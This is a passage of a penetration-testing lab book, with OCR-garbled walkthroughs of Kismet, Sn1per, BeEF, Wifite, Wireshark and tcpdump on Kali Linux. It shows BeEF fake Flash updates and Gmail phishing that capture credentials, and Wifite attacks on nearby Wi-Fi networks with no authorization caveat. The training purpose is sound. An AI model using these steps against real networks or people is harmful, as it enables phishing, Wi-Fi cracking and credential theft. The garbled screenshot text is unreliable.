g Range (My new favorite as of Mai 2020!)

N 2.4GHz (V1) (Make sure you grab V1!}

The next step is to put our wireless card into monitor mode. We can do this
by typing the following into a terminal:

airmon-ng start wlan0

Task 3:
We are now ready to launch the tool. Kismet will be accessed through our

browser as it will start a service on one of our local ports. To see which port
kismet is running on, type the following into the terminal:

kismet


https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/
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This will start “kismet” and a message will appear at the top of the terminal
telling you the address to visit to access the control centre for the tool.

You will need to set an admin username and password here to use the tool
with.

Once you can access this page in Firefox, return to the terminal and press ctrl
+ c. Then, type the following into the terminal:

kismet -c wlanOmon

This will start kismet and tell it to use our wireless interface. You will be able
to access the tool from the same page as you did above. Login with the same



username and password you had set above.

Task 4:

We are now at the main page for the kismet tool. Here, we can see kismet
gathering a lot of information about nearby Wi-Fi networks. There are a
number of headings which we can organise this information by, which can be
seen in the screenshot below:

= Kismet

Devices S551Ds ADSB Live

All devices -

Name v  Type Phy Crypto Signal Channel

A summary of the information being gathered by kismet can be viewed at the
bottom of the page.

Messages Channels

Feb 12 2021 11:43:18 A new administrator login has been set.
Feb 12 2021 11:36:49 (HTTPD) Started hitp server on port 2501
Feb 12 2021 11:36:49 Starting Kismet web sérver..
I _ roctuser Kismet is running as root; this is less secure. If you are running Kismet at by
Feb 12 2021 11:36:49 Saving packets tothe Kismet database log
Feb 12 2021 11:36:49 Opened kismetdb log file " //Kismet-20210212-16-36-49-1 kismet'
Feb 12 2021 11:36:49 No data sources defined; Kismet will not capture anything until a source is added
Feb 12 2021 11:36:49 Launching remote capture senver on 127.0.0.1:3501
Feb 12 2021 11:36:49 Saving datasources to the Kismet database log every 30 seconds
Feb 12 2021 11:36:49 Sources will be re-opened if they encounter an error
Feb 12 2021 11:36:49 Enabling channel list shuffling to optimize overaps




You will see lots of information being gathered about nearby Wi-Fi networks
on this main page.
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If you click on any of these access points or clients, you will see more

detailed information regarding the device. This information is displayed
using graphs and charts.



Mame 04:E4.BA:EB:B1-AF
Notes Empity
MAC Address O04.E4BASBBLAF
Manufacturer Huawe Device Lid
Type Wi-Fi AP
First Seen Fri Feb 12 2021 130745 GMT-0500 (Eastern Standard Time)
Last Seen Fri Feb 12 2021 13:10:46 GMT-0500 (Eastern Standard Time)
Frequencies
Channel 9
Main Frequency 2447 GHz
Packet frequency distribution
30
29
28
7
2h
it
2447 GHr 2432 GHr 24371 GHI
Signal
Monitor Signal Monitor
Latest Signal =49 dbim
Min. Signal -50 dbm
Max, Signal -39 dbm
Task 5:

If you click on a particular access point, you will see information about that
access point as well as some of the active devices connected to that network.

Task 6:

By clicking the hamburger menu on the top left of the screen, we can view
other information about these nearby networks. We can view the channels
kismet is monitoring, the number of total packets kismet is picking up on and

processing, and the amount of memory being used on the networks.




SSID: HUAWEI_B818_B1AB_ARDILAUN

» Wi-Fi (802.11) SSIDs

SSID © HUAWEI_B818_B1AB_Ardilaun (25 characters)
First Seen Feb 12 2021 13:07:47

Last Seen Feb 12 2021 13:14:02

Encryption © None / Open

Responding APs ©

» HUAWEI B818 B1AB_Ardilaun - 94:E4:BA:8B:B1:AB - WPA2 WPA2-PSK AES-CCM
Probing devices
v DA:A1:19:7B:C6:23 - DA:A1:10:7B:C6:23 <l

Probing Device View Device Details
MAC DA:A1:19:7B:C6:23 (Unknown)
Name DAAL:19:7B:C6:23
Type Wi-Fi Client

v B0:4E:70:2E:7D:6A - 04E:TOETD6A s
Probing Device View Device Details
MAC 80:4E:70:2E:7D:6A (Samsung Electronics Lid)
Name BO4E:T0:2E:TD:BA
Type Wi-Fi Client

¥ 48:D6:D5:10:13:2A - 48:D6:D5:10:13:2A ﬁ
Probing Device View Device Details
MAC 48.06:D510:13:2A (Google Inc.)
Name 48:D6:D5:10:13:2A

Type Wi-Fi Client




Task 7:
If you want to focus on a particular network and capture more packets, you

can navigate to the data sources page. Once there, click on your interface and
you can lock kismet on a specific channel. Kismet will then only capture
packets from this channel. Simply take note of the channel your target is
broadcasting on and lock kismet on this channel to capture more packets

from your target.
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Kismet is a very useful tool for mapping network infrastructure, war driving,
and network monitoring. Kismet will pick up on any suspicious activity, such
as a network constantly changing its name or devices spoofing MAC
addresses, making it useful as an IDS system also. Any alerts picked up by
kismet will be displayed in the bell icon in the top right of the page, as well
as in the alerts section at the bottom of the main page.



Lab 47. Snlper

Lab Objective:
Learn how to perform a comprehensive vulnerability scan using Sn1per.

Lab Purpose:

Snlper is an automated scanner which can be used during a penetration test
to enumerate and scan for vulnerabilities. It is an extremely popular
vulnerability scanner. There is both a community and enterprise edition
available. Sn1per makes use of several different popular tools and bundles
them into one, making it a very effective tool for a number of different
purposes. The Snlper tool web page can be accessed here:

https://github.com/1N3/Sn1per

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

Snlper tool is not included with Kali. For this reason, we will download and
install it from the source. We can do this by typing the following command
on terminal screen on Kali:

sudo git clone https://github.com/1N3/Sn1per.git

Once this is downloaded, we will then need to install the tool by typing the
following:

cd Snlper


https://github.com/1N3/Sn1per
https://github.com/1N3/Sn1per.git

sudo ./install.sh

This will take a while to execute, as Sn1per downloads all the tools and
dependencies it needs to run effectively.

When the installation is finished, close this and open a new terminal.

i G:’;’”f_‘ @

=/Snlper

———]

This script

ntinue? (Hit Ctrl+C to exit)

Installing g
t:1 htt

database

yit-framework/config/database.yml

v’

Task 2:
We can view the help screen for this tool by typing the following command:

sudo sniper --help | more



Loaded configuration file from fusr/share/sniper/sniper.conf

Loaded nnw{LngJr]nn file from Sroot/.sniper.conf

w <WORKSPACE_ALIAS>

sniper -t <TARGET:

DISCOVER MODE SN 5.1TX1 m massvulnscan -w <WORKS5PACE_ALIAS>

port -p <PORT_NUM>

FULLPORTON

sniper -t <TA

As you can see, the Sniper tool has many parameters. Before we begin, make
sure the tool is fully up to date by running the following command:

sudo sniper —update



[sudo] password for kali: :
Loaded configuration file from /fusr/share/sniper/sniper.conf
Loaded configuration file from /root/.sniper.conf

1:r|r:_=|:_k_i.'l':g_: for updates ... _ﬁ@

Task 3:

We will be using this tool against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:

https://tryhackme.com/room/rpwebscanning

On this page, scroll down until you see the “Join Room” button and click
here. On the next page, click the “Start Machine” button under Task 1 section
to start the lab.


https://tryhackme.com/room/rpwebscanning

% Web Scanning

Pull the lever, Kronk!

Web scanning represents one of the core constructs of modern pen testing. Quite simply, most of

| Toaccess material, start machines and answer questions you need to join this room! .

what we interact with on a daily basis is the internet, and therein there is a multitude of ever-
widening number of vulnerabilities. Within this room, we will investigate two of the maost common :
scanners: Nikto and Zap. e. .

By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”

button at the top of the page.

The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Active Machine Information

Title IP Addreszs Expires
DVIWA 10.10.66.138 52m d3s

Add 1 hour

Task 4:

Now we can perform a default, comprehensive scan on our target using the

following command:

sudo sniper -t 10.10.66.138




~
10.10.66.138 {?"@
password for kali:
figuration tile trom Jusr/share/sniper/sniper.conf
guration file from /root/.sniper.conf
it to fusr/share/sniper/loot/
18.18.6b.138
active internet connection
iguration file from fusr/share/sniper/sniper.conf
Juration tile trom / / ni rcont

canning 10.10.66

Snlper will begin scanning the target using a variety of different tools. This
makes Snlper highly effective at both information gathering and
vulnerability enumeration. Sn1per makes use of many popular tools such as
nmap, metasploit, spider, smuggler, and many others, depending on the types
of vulnerabilities it discovers.



USER_FILE = Susr/share/brutex/wordlists/simple-users.txt
RHOSTS = 18.10.66.138
RHOST = 10.10.66.138
10.10.66.138:22 55 Using maltormed packet technique
18. b. - Starting scan
10.10.66. ., User 'backup’ found
10.16@ . 2 55 User 'mail’' found
10. : - 55 User 'mysqgl’ found
18.16 : , 5 ‘ ody® found
18.10.66. 7 - - User ' t' found
18. 16 b . 2 lser ' ' found

18.10.66. 72 pr ' i-data’ tound
Scanned 1 |

Critical: @
High: @
Medium: 65
Low: 1
Info:
Score: 199




pace/10.19.66.138

Task 5:
Snlper can be run in several different modes, depending on your goals
against your target.

Here is a list of the different modes which can be used with this tool:

e NORMAL.: Performs basic scan of targets and open ports using
both active and passive checks for optimal performance.

e STEALTH: Quickly enumerate single targets using mostly
non-intrusive scans to avoid WAF/IPS blocking.

e FLYOVER: Fast multi-threaded high-level scans of multiple
targets (useful for collecting high level data on many hosts
quickly).

e AIRSTRIKE: Quickly enumerates open ports/services on
multiple hosts and performs basic fingerprinting. To use, specify
the full location of the file which contains all hosts, IPs that need
to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to
begin scanning.

e NUKE: Launch full audit of multiple hosts specified in text file
of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.
e DISCOVER: Parses all hosts on a subnet/CIDR (ie.



192.168.0.0/16) and initiates a sniper scan against each host.
Useful for internal network scans.

e PORT: Scans a specific port for vulnerabilities. Reporting is
not currently available in this mode.

e FULLPORTONLY: Performs a full detailed port scan and
saves results to XML.

e MASSPORTSCAN: Runs a “fullportonly” scan on mutiple
targets specified via the “-f” switch.

e WEB: Adds fully automatic web application scans to the
results (port 80/tcp & 443/tcp only). Ideal for web applications
but may increase scan time significantly.

e MASSWEB: Runs “web” mode scans on multiple targets
specified via the “-f” switch.

e WEBPORTHTTP: Launches a full HTTP web application scan
against a specific host and port.

e WEBPORTHTTPS: Launches a full HTTPS web application
scan against a specific host and port.

e WEBSCAN: Launches a full HTTP & HTTPS web application
scan against via Burpsuite and Arachni.

e MASSWEBSCAN: Runs “webscan” mode scans of multiple
targets specified via the “-f” switch.

e VULNSCAN: Launches an OpenVAS vulnerability scan.

e MASSVULNSCAN: Launches a “vulnscan” mode scans on
multiple targets specified via the “-f” switch.

You can practice on the machine above by running different scans against it
and comparing their different outputs.



Lab 48. Browser Exploitation
Framework (BeEF)

Lab Objective:
Learn how to perform information gathering by hooking a browser using
BeEF.

Lab Purpose:

BeEF is a pentesting tool which focuses on exploiting web browsers. It looks
past the hardened network perimeter and client system to instead focus on
exploitability within the context of the web browser. If a BeEF exploitation is
successful, there is no limit to the information gathering that can then be
performed.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We first need to install the BeEF tool on Kali. We can do this by opening a
terminal and typing the following:

sudo apt install beef-xss
Once this is done, we can launch the tool by typing the following:

sudo beef-xss



service; :1:‘?..1!'.11.|"'!; VENdoT pre

9 10:20:20 EDT; 55 agc

[*] Opening Web UI (http

You will then be asked to enter a password for the tool. Do this and press
enter.

This will execute several lines of code and will open a new window in your
web browser, where you will have access to the control panel for BeEF. If the
browser could not open automatically in Kali, open it yourself and type
“http://127.0.0.1:3000/ui/panel” in the address line.



LUsermanme; beef
Passwond:

Login

When the page loads, you will be asked for a username and password to login
to BeEF. Use the username “beef” and the password you set above.

Task 2:

We are now able to access the control panel for this tool. The first page
contains lots of documentation, where you can learn more details about how
this tool works.

Hooked Browsers Gelling Started a2l Logs *ambies
_!Dﬂhrbr Blecrawers
| Offline Browsers

—eEF
THE BROWEREER EXPLOITATION FRAMEBWORN PROJECT
Odfficial website: hitp:'beetpropect comyd
Getting Started
Welcome 1o BeEF!

Before being able 0 fully explore the framework you will have 10 hook' a browser, To begin with you
can poind & DIoWSer W0Wards the Dasic demo page DETE. OF e ddvanced verion hefs

i you want to hook ANY page (lor debugging reasons of course), drag the following bookrmarikdet Enk
o your browsers bookmark bar, then simply chck the shortout on another page: Hook Me’




We will begin by pressing the link for the basic demo page, which can be
found on the main page when logged in to BeeEF. When you press this link,
a new window will open with a hooked browser.

To test this hooked browser, type something in the text window at the bottom
of the screen.

—eEF

THE BHDWDEH EMPLOITATIRDN FHAMEWLDHN FHOJELT

You should be hooked into BeEF.
Hawve fun while your browser s m‘ln:ing against you.

These links are for demonstrating the "Get Page HREFs" command module:

« The Browser Exploitation Framework Project homepage
. F Wiki
» Browser Hacker's Handbook
» Slashdol
Have a go at the event logger. Insen your secret here:
hello a
*--____———_

You can also load up a more advanced demo page.

Then, click on the list of browsers to the far left of the beef control panel
page. Select your local browser and press on the Logs tab. Select ID column
to sort by ascending order. This will show you every action you have taken
on the demo page that is open.



£24.2915 - [Blur] Browser window has lost fotus.

23.08Ts - [Mouse Click] x: 879 y:495 > htmi

21.955s - [User Typed]

20.951s - [User Typed lo <l

19.938s - [User Typed] hel /

17.587s . [Mouse Click] x: 1023 w329 > textareaSimpitxi{important Text)
16.2255 - [Mouse Chck] x: 1178 y-219 » i

15.953s - [Mouse Chick] x- 1178 v-219 > body

12.068s - [Focus] Browser window has regained focus.

2.552s - [Blur] Browser window has lost focus.

127.0.0.1 appears 10 have come back online

127.0.0.1 pust poined the horde from the domain: 127.0.0.1:3000

Task 2:

Navigate to the details tab. Here, you will be presented with an abundance of
information regarding the details of the browser you have hooked such as the
version, the plugins installed, etc.

|j Details |_ Loqs_ﬂl Cummands_l_ Proxy || XssRays _ Network

Key

browser.capabilities. activex

browser.capabilities.flash

browser.capabilities.googlegears

browser.capabilities. phonegap

browser.capabilities. quicktime

browser capabilities realplayer

browser.capabilities. silverlight

browser.capabilities.vbscnpt

browser.capabilities.vic

browser.capabilities.webgl
- .

[&‘555555%'3%?




Task 3:

Navigate to the Commands tab. Here, we can specify a few different
malicious command to execute on the target browser. For example, click on
the Social Engineering folder and select the Fake Flash Update command.

] Misc (20)
") Network (21)

| Persistence (3) o

I Phonegap (16)
4 = Social Engineering (25) H—F

Steal Aumocomplete
Text o Voice

@ Clckjacking

& Clppy

@ Fake Notificaton Bar

@ Fake Notifhicabon Bar (Ch

@ Fake Notficaton Bar (Fir

@ Fake Notification Bar (IE)

@ TabMabbing

@ Edge WScnpt WSH Inject
[EEe———

& Fake Flash Update ..!...___ @

id

I
Payload

Custom
Payload URI

©)

The Chiome axtension delivery works on
Chrome <= 20. From Chrome 21 things changed
In terms of how extensions can be loaded

See fexlensions'demos

Mash update chrome extensionimaniles! fson
Tor mone milo and a Sample exiension thal works
on Latest Chiome.

206
hitp:/0.0.0.0:3000/adobel
Custom_Payload v
hips-/igithub. com/beetpr

m

Execuie

This command, when executed, will present the user with a popup on their
screen to update their version of Flash. This popup will contain a payload
which is downloaded by the user if they click on the update button. Select
this command and click Execute on the bottom right of the screen. Once this
is done, navigate to the browser demo page.




An update to Adobe® Flash® Player ks avallable.

This update includes improvements in usability, onling security and
siability, as well as new features which help content developers deliver
rich and sngaging axpariencns.

Diid you know...

s The lop 10 Facebook games use the Flash Player. To sea mon,
wigi: www. Boobe. COmdgamas.

+ Most of the top video sites on the web use Flash Player

+ Fash Player is installed on over 1.3 bilkon connected PCs

Mole: |f you have selected io allow Adoba to insiall updates, this update
will be installod on your sysiom automatically within 45 days or you can
choose to download it now.

REMIND ME LATER

As you can see, you are presented with a fake Flash update popup. If the user
presses on the buttons in this popup, a file is downloaded to their machine.



Opening beel-masterzip

chosen Lo LR

' beef-master.zip

What should Firefox do with this file?
® Open with  Engrampa Archive Manager (default)

Save File

Do this automatically for files like this from now on.

This file can be a custom payload designed by us, which we can add to this
exploit in the Commands tab.

Task 4:

We will run through another example of a malicious command which we can
run. In the Social Engineering folder under the commands tab, select the
Google Phishing Command. This will present the user with a fake login
screen for Gmail. Click execute on the bottom right and navigate back to the
demo page.



#® BeEF 05.00 | Submt Bug | Logout

Geting Started | G0 gle — e (— Current Browser
Details Loge
W —— -
Maodule Tree gy Phishing
' - = Bor:  This plugin uses an image lag o XSRF the
-~ logout button of Gmail. Continuously the user is
CINework 2| ) = . logged out of Gmail (eg. if he is logged in in
_ Persistenc ! erp— - - another 1ab). Additionally it will show the Google
- E— favicon and a Gmad phishing page (although the
Phonegep URL ks NOT the Gmail URL)
4 () Social Eng \
- Sieal A ::;:..:u.p.w."-f.,wm. 160
o Text o — S——
@ Clckjax| =o—m= e e s — ok URL | hitp=/0.0.0.0:3000/demas
& Clppy = T S gout 10000 e
@ Fake Flash Update \\

& Fake Notfication Bar

@ Fake Motification Bar (Che
@ Fake Mottication Bar (Firi
@ Fake Notification Bar (IE)

& Google Phishing —

@ Leamiul Downdoad i
@ Siekiosk Breakout
@ User Interface Abuse (IE 9.) "'\3

&) Ready

As you can see, we are presented with a login screen for Google. We can
customise the URL in the Commands tab to change the look of this page to a
newer version of the Gmail login page. If the user inputs their details here,
BeEF will capture them. The details entered can be found by navigating back
to the Commands tab, selecting the same exploit, and clicking on the tab in
between the list of exploits and the description of the exploit.



Search id s date Iabed 1
> ] Browser (56} 0 202102160711 command 1
» ) Ciwome Extensions (6)
& () Debug (8)
> [0 Exploits (105)
5 £ Host (24)
= CJIPEC (9
» (] Metasploi (1)
& 0 Miisc (20)
o (L Network (21)
@[] Persistence (3)
» ) Phonegap (16)
# ] Social Engineering (25)
& Stenl Autocomplete
o Text 1o Vipice
w Cickacing
@ Clippy
@ Fake Flash Update
& Faike Motibeation Bar o
@ Fake Notifcation Bar
@ Fake Notibcasion Bar (F
@ Fake Notification Bar (1E)
w Google Phishing —

data: result=Uisername: hello@gmail com Password: Passwoed123




Lab 49. Hacking WPS Networks
with Wifite

Lab Objective:
Learn how to hack WPS networks using Wifite.

Lab Purpose:

Wifite is a customizable tool which can be used to hack multiple WEP-,
WPA-, and WPS-encrypted networks in a row. It is designed to be a “set it
and forget it” wireless auditing tool. If Wifite fails to crack a WPA
handshake, the handshake will be backed up in a file to Wifite.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

You will need a wireless card which is capable of being put into “monitor mode”
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters in the market which support Wi-
Fi hacking. In this page, you can find some of them:
https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-

hacking-in-2019/



https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/

If you don’t have such a card, you can still read along to learn the process
behind an attack using this tool.

We will begin this lab by opening a terminal in Kali and viewing the help
screen for Wifite. We can do this by typing the following as root user:

sudo su -
wifite -h



Task 2:
Ensure you have your wireless network card connected to your machine.
Once this is done, we can then launch the tool by typing the following:

wifite



Immediately, Wifite will put your network card into “monitor mode” and
begin searching for nearby networks. It will display information about these
networks, such as whether they have WPS enabled or not, as well as the
channel it is running on, the number of clients connected to it, the power of
the signal, the level of encryption, and the ESSID.



Task 2:

When you have found the network that you want to target, end the search for
networks by hitting ctrl + c on your keyboard. You will then be asked to
choose your target by inputting its ID, which is shown on the num column.
Choose the number to the left of your target’s ESSID.



Task 3:

Wifite will then begin launching attacks against the specified target. It will
begin by launching a Pixie-Dust attack, followed by NULL PIN, PIN Attack
and PMKID attack. If all of these attacks fail, Wifite will capture the WPA
handshake and attempt to crack it using aircrack-ng. If this attack also fails,
Wifite will close and save the captured WPA handshake to a file before

exiting.






Lab 50. Capturing Credentials
Submitted through http with
Wireshark

Lab Objective:
Learn how to capture usernames and passwords submitted through http
websites with Wireshark.

Lab Purpose:

Wireshark is an open-source packet analyser. It is used for analysis, network
troubleshooting, and software and communications protocol development and
education. It is a very useful tool for looking in depth at the communications
happening on a network.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

For this lab, we will be capturing requests sent and received from our Kali
machine. We will then analyse these requests for captured information. You
do not need any wireless network card for this lab.

To begin, open a terminal screen in Kali and start Wireshark by typing the
following:



sudo wireshark

You can also start the tool by navigating to the menu on the top left, hovering
over the Sniffing & Spoofing tab, and selecting the Wireshark tool.

Task 2:

Once open, Wireshark will ask you which interface you would like to use to
capture packets. For this lab, we will be using our “eth0” interface, so select
this now by double clicking on it.

The Wireshark Network Anslyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
= > ) — = B & i
‘ L @ - X G A —_=| = NSNS :
R apply vy filt £l -| +
Welcome to Wireshark
, Capture
\using this filter: |Ent L filt = | All interfaces shown =
L -
tun0 I
any ALk
Loopback: lo 1
bluetooth-moniter
nflog
nfqueaue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon —
@ Random packet generator: randpkt —
W cuctamd lanrmal Evnort: edinnirnal =
Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
You are running Wireshark 3.4.4 (Git v3.4.4 packaged as 3.4.4-1).
I #  Ready to load or capture Mo Packets Profile: Default

You will then be presented with a window that is clearly divided up into three
sections. The top section is used to display a list of the packets captured.
These packets are displayed as a table. Information about each packet is
displayed here, such as the packet number, packet source and destination, the
time captured, and the packet’s protocol.



The second panel describes a hierarchical display of the information included
in a single packet. You can expand different sections to view different

information about each specific packet. We will be using this pane later in
this lab.

The third pane displays the encoded packet data and displays a packet in its
raw, unprocessed form.

- Capturing from ethQ = 0 X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mae XE QemES & .= & & FF
l olav filter . . =d =) +
No. Time Source Destination Protocol Length Info =
878 95.883103886 192.168.1.28 152.168.1.1 1CP 66 33764 - B0 [ACK] Segq=1
879 95.8983472835 192.168.1.28 162.168.1.1 HTTP 523 POST /?cb=0856481189202
880 95.083955380 192.168.1.1 192.168.1.28 TCP 66 B8 -~ 33764 [ACK] Seg=1
B81 95.365305877 192.168.1.28 54.76.30.11 OpenVPN 222 MessageType: P_DAT g™
882 95.449853825 b4.76.36.11 152.168.1.28 OpenVPN 222 MessageType: P D-ﬁ.@)
B84 96.986334728 192.168.1.123 182.168.1.255 UDP 385 54915 - 54915 Len=263
B85 96.367293279 192.168.1.28 54.76.30.11 OpenVeN 222 MessageType: P_DATA_V2
B86 06.452302884 54.76.30.11 192.168.1.28 OpenVPN 222 MessageType: P_DATA_V2
837 07.088733183 192.168.1.123 192.168.1.255 LDP 385 54915 -~ 54915 Len=263

-

L] P
+» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ethd, id ©

» IEEE B82.3 Ethernet 9
» Logical-Link Control _/JI
» Spanning Tree Protocol

G888 ©1 BG c2 B0 o8 B0 B4 47 65 cf 9c c5 B0 26 42 G -
63 00 00 B0 00 60 80 68 B4 47 65 cf 9¢ c5 60 8 9
00 B0 80 00 84 47 65 cf 9c c5 B0 64 00 80 14 00 Ge v/
@ 7 ethD: <live capture in progress> Packets: 887 - Displayed: 887 (100.0%) Profile: Default
Task 3:

The next step is to open Firefox and visit the following site:

http://testphp.vulnweb.com/login.php

Here, you will find a login page. Notice the lock with the red line at the top
left of the page, indicating that this page is communicating through http,
meaning that any data submitted here will not be encrypted.


http://testphp.vulnweb.com/login.php

If you are already registered please enter your login information below:

Username :
Password :

i login

You can also signup here.
Signup disabled. Please use the username test and the password test.

Enter a random username and password into this form and click login. Once
this is done, return to Wireshark.

Task 4:
You will notice Wireshark capturing a few different packets. We can end the
packet capture now by pressing the red square in the top left corner.

Qe QT

Destination Protocol Lengtt Info

622 13. 253007368 192.153.?‘1.123 192.168.71.2 77 Standard
1823 13.254761469 192.168.71.1 224.0.8.251 71 Standard
1024 13.255058468 fe80::25f8:r019:5e6.. frez2;:fb 91 Standard

1025 13.667103357 fe80::2578:17019:5e6.. T102::1:3 85 Standard
1626 13.667103396 192.168.71.1 224.0.8.252 65 Standard
1627 14.256629283 192.168.71.1 224.0.0.251 71 Standard
1028 14.256889147 fe80::2578:f019:5e6.. ffO2::fb 91 Standard

We will now attempt to find our login information captured by Wireshark.



Click on the box at the top of the Window which says: “Apply a display
filter”. In this box, type the following:

http

This will only show us the “http” requests captured by Wireshark. Then, hit
enter. You will notice the number of captured packets drastically reduces.
There is only a handful of info left.

i | 4 — ; B E B = = L3 \
| B & @ X0 QeumEF S | |= 6 Q7T 2),
hitp h% B -+
Time ree Destination Protocol Length info —
61 24.4B91e5466 152.168.1.28 18.192.172. 39 HTTP 585 POST JUs=S Lofo.php HTTR/A.1 {ap
b 5n 2455365029 18197 1720 187 168 .1. 73 HTT®E 47 HTTRP/1.1 387 Found  (text/htm
+ 87 24.556485060 152.188.1.28 16.162,172.38 HTTP 452 GET /login.php HTTR/1.1
T1 24.622108718 18.192.172.38 102.168.1. 24 HTTPR 1414 HTTP/1.1 286 OK (text/himl)
589 Z52.B832@96487 192.168.1.28 142.250.185.131 ocse 444 Request
511 252. 926755095 142,250.185.131 192.168.1.24 ocse T6E Responss

v Frame 61: 585 bytes on wire (4689 bits), 585 bytes captured (4680 bifs) on interface ethd, id @

» Ethernet II, Src: PcsCompu aG:if:B6 (88:08:27:a6:1f:86), Dst: HuaweiTe cf:8c:ch (B4:4T:65:cf:Bc:ch)
¢ Internet Protocol Version 4, Src: 192.168.1.28, Dst: 18.192.172.30

¢+ Transmisslon Control Protocol, Src Port: GO916, Dst Port: 80, Seq: 1, Ack: 1, Len: 519

- T T TP DR LT o T T R e e ¢ ot e

(3)

/
HTHL Form URL Encoded: applicationsx-www-Torm-urlencoded
» Form ifem: "uname™ = *Jucifer™

» Form item: “pass" = "ecorp” '!_\_,-'—_— @/J

Look for the packet with POST included in the Info section of the first pane
(2). Once you find it, select this packet.

Then, look at the second pane and the section called Hypertext Transfer

Protocol (this is what http stands for). Click on this section and expand it to
see the information it contains (3).

Then, click on the HTML Form URL Encoded section to expand the

information within this tab. You will then see the username and password
entered the form on the http site (4).



Frame 61: 585 Dytes on wire [

L Form URL Encoded: appllcatlon/x-wwwW-TOrm-ur
=~ Form item: “uname" = "lucifer”
Key: uname
Value: lucifer
~ Form item: “pass" = “ecorp"

Key: pass

oded

b.com/lo

468D bits), 5BS Dytes captured (4680 bits) on Interface eth®, 1d @
Ethernet II, Src: PcsCompu_ab6:1f:86 (08:00:27:a6:17:86), Dst: HuaweiTe_cf:9c:c5 (84:4T7:65:cf:9c:c5)
Internet Protocol Version 4, Src: 192.168.1.28, Dst: 18.192.172.38
Transmission Control Prntocnl, Src Port: Eﬂﬂiﬁ, Dst Port: 88, Seq: 1, Ack: 1, Len: 519

H200 62 2e 63 6 6d 27 6¢c 67 67 69 Ge 2e 79 68 70 od

0210 9a 55 7@ 67 72 61 64 65 20 49 6e 73 65 63 75 T2 Upgrade - \
82: 65 2d 52 65 71 75 65 73 74 73 3a 20 31 6d Ba ©&d e-Reques ts: J
G230 Ba 75 6e 61 6d 65 3d 6c 75 63 69 66 B5 72 26 78 -uname=1
6240 61 73 73 30 ENENGENENND ass IR A

We can also view the usernames and passwords in raw form at the bottom of

the third pane.

Task 5:

File Edit View Go Capture Analyze Statistics Tele

18.192.

.'lB 1!2 1?2 30 \, )

An.php HTTP/1.1
200 OK (text/htd
erinfo.php HTTP/1
{text
in.php HTTP/1.1
208 0K (text/htq

File name: |captured-01.pcapng

19 3. ?B-'I'BBS.H!? 192.168
46 16.734820215 192.168.1.28 18.182.
48 16.799776021 18.192.172.308 192.168 362 Found
58 16.804264346 192.168.1.28 18.192.
'l.I 51 16.869368562 18.192.172.30 192,168
e) Lookin: [ /home/kali/Downloads - 00 O R #E [
Name Nate Modifiad g
! Computer — @
= root

Save as:  Wiresharky... - pcapng

-

It is possible to export the captured data packets to a file for later analysis.



The Wireshark Metwork Analyzer

Open Ctri+0 R a8 &
DpEI'I Eecent --.'-"---..\_‘_‘_\_\_H_-.- - = z s
-y s = RN

Import from Hex Dump... ej

File Set » ong (51 KB)

Export Packet Dissections »

Export PDUSs to File..

Export Objects ¥

= Al interf h -
Quit Cri+0Q interfaces shown

Thanks to Wireshark, it is possible to capture any packet transmitted on the
same network without encryption.



Lab 51. Packet Capture with
Tcpdump

Lab Objective:
Learn how to capture packets using tcpdump.

Lab Purpose:

Tcpdump is a network packet analyser and capture tool. It allows the user to
display TCP/IP and other packets being transmitted or received over a
network. We can call it a different kind of Wireshark. It is a free tool.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

The tcpdump tool is already included in Kali. There is no need to install it
separately. We will begin this lab by first viewing the help screen of this tool.
Open a terminal screen and type the following:

sudo su -
tcpdump -h



® r,é:——:;:::ﬂ=:==="-(::)
T
tcpdump version 4.99.@

1.10.9 (with TPACKET_V3)
F 1

eb

gize ] [ -E a
interfara ] [ -—in

atalinktype ]
time-stamp-precision precision ] [ mic 1 [ nanc ]
z postrotate-command ] [ -Z user ] [ expression ]

Task 2:

To begin capturing packets, we first need to select the interface that we want
to use for packet capture. We can list all interfaces available to us using the
following command:

tcpdump -D

.eth® [Up, Running, Connec
2.any (Pseudo-device that captures on all intertaces) [Up, Running]
3.10 [Up, Running, Loopback]

bluetooth-monitor (Bluetooth Linux Monitor) [Wireless]
y.nflog (Linux n ilter log (NFLOG) interface) [none
(Linux nettilter queue (MFQUEUE) intertace) [none]
t bus) [none]
[none]

You can then select the interface you want to use to begin capturing packets
with the following command:

tcpdump -i eth0

Also, by using the “-Q <in|out>” parameter, we can determine the direction
of the package to be monitored according to the interface:



tcpdump -n -i ethO -Q out

Normally, tcpdump shows the hosts and ports by their names on the capture
outputs. However, this might slow us down a bit. If we want to run the above
scan faster, we can specify for tcpdump not to resolve IP addresses to
hostnames by appending “-n” to the command. This also shows ports with
their numbers instead names. It will look like the following:

tcpdump -n -i wlanO

3.
wland <=
: verbose output Juppr: use -v or -vv for full protocol decode
-type 3 (Ethernet), 44
e4:ba:8b:bl:aa.B8083, length 35
, Length 36
> 2aB0:1450:408b:cAl: :5e.80: Flags

B4 > 2a00:1450:400b:cO1::5e.80: Flags
